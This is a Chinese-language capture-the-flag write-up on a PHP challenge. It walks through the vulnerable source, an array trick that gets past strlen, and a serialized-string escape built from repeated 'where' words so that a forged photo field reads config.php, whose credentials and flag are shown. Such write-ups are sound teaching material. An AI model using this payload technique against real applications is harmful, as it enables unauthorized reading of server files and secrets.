扫描到www.zip有源码泄露
下载解压得到源码,审计后可以知道,flag在config.php中但是上传的文件名被md5加密不能随意更改,在update.php中将前端发送过来的数据序列化传给update_profile函数
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
在update_profile函数中引用了filter函数过滤,当我们输入where的时候会被变为hacker多了一个字符,存在序列化字符逃逸,我们可以构造假的photo为config.php。
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
在update.php中nickname是唯一没有别正则表达式约束的,但是有字数限制,在php中可以用数组绕过strlen
测试代码
<?php
$profile['phone'] = $_POST['phone'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5( $_POST['name']);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$a=serialize($profile);
$b=preg_replace($safe, 'hacker',$a);
if(strlen($_POST['nickname'])>2)
echo "1213";
else
echo "66666";
echo($b);
?>
输入后明显nickname的长度大于2但还是输出66666


构造序列化字符串逃逸的payload
1.先计算要逃逸的字符";}s:5:"photo";s:10:"config.php的长度为34则需要输入34个where
2.输入34个where后得到反序列化字符串a:3:{s:5:"phone";s:3:"132";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}
其中hackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker的程度正好是186而我们输入的";}s:5:"photo";s:10:"config.php逃逸出去了,序列化字符串的结束为},则上述的反序列化字符串就变成了{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhacker
hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}读取config.php得到flag。

解码得到flag
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{8c7559a7-c4c4-4dbe-a5b7-f2e86883e12d}';
?>
Comments NOTHING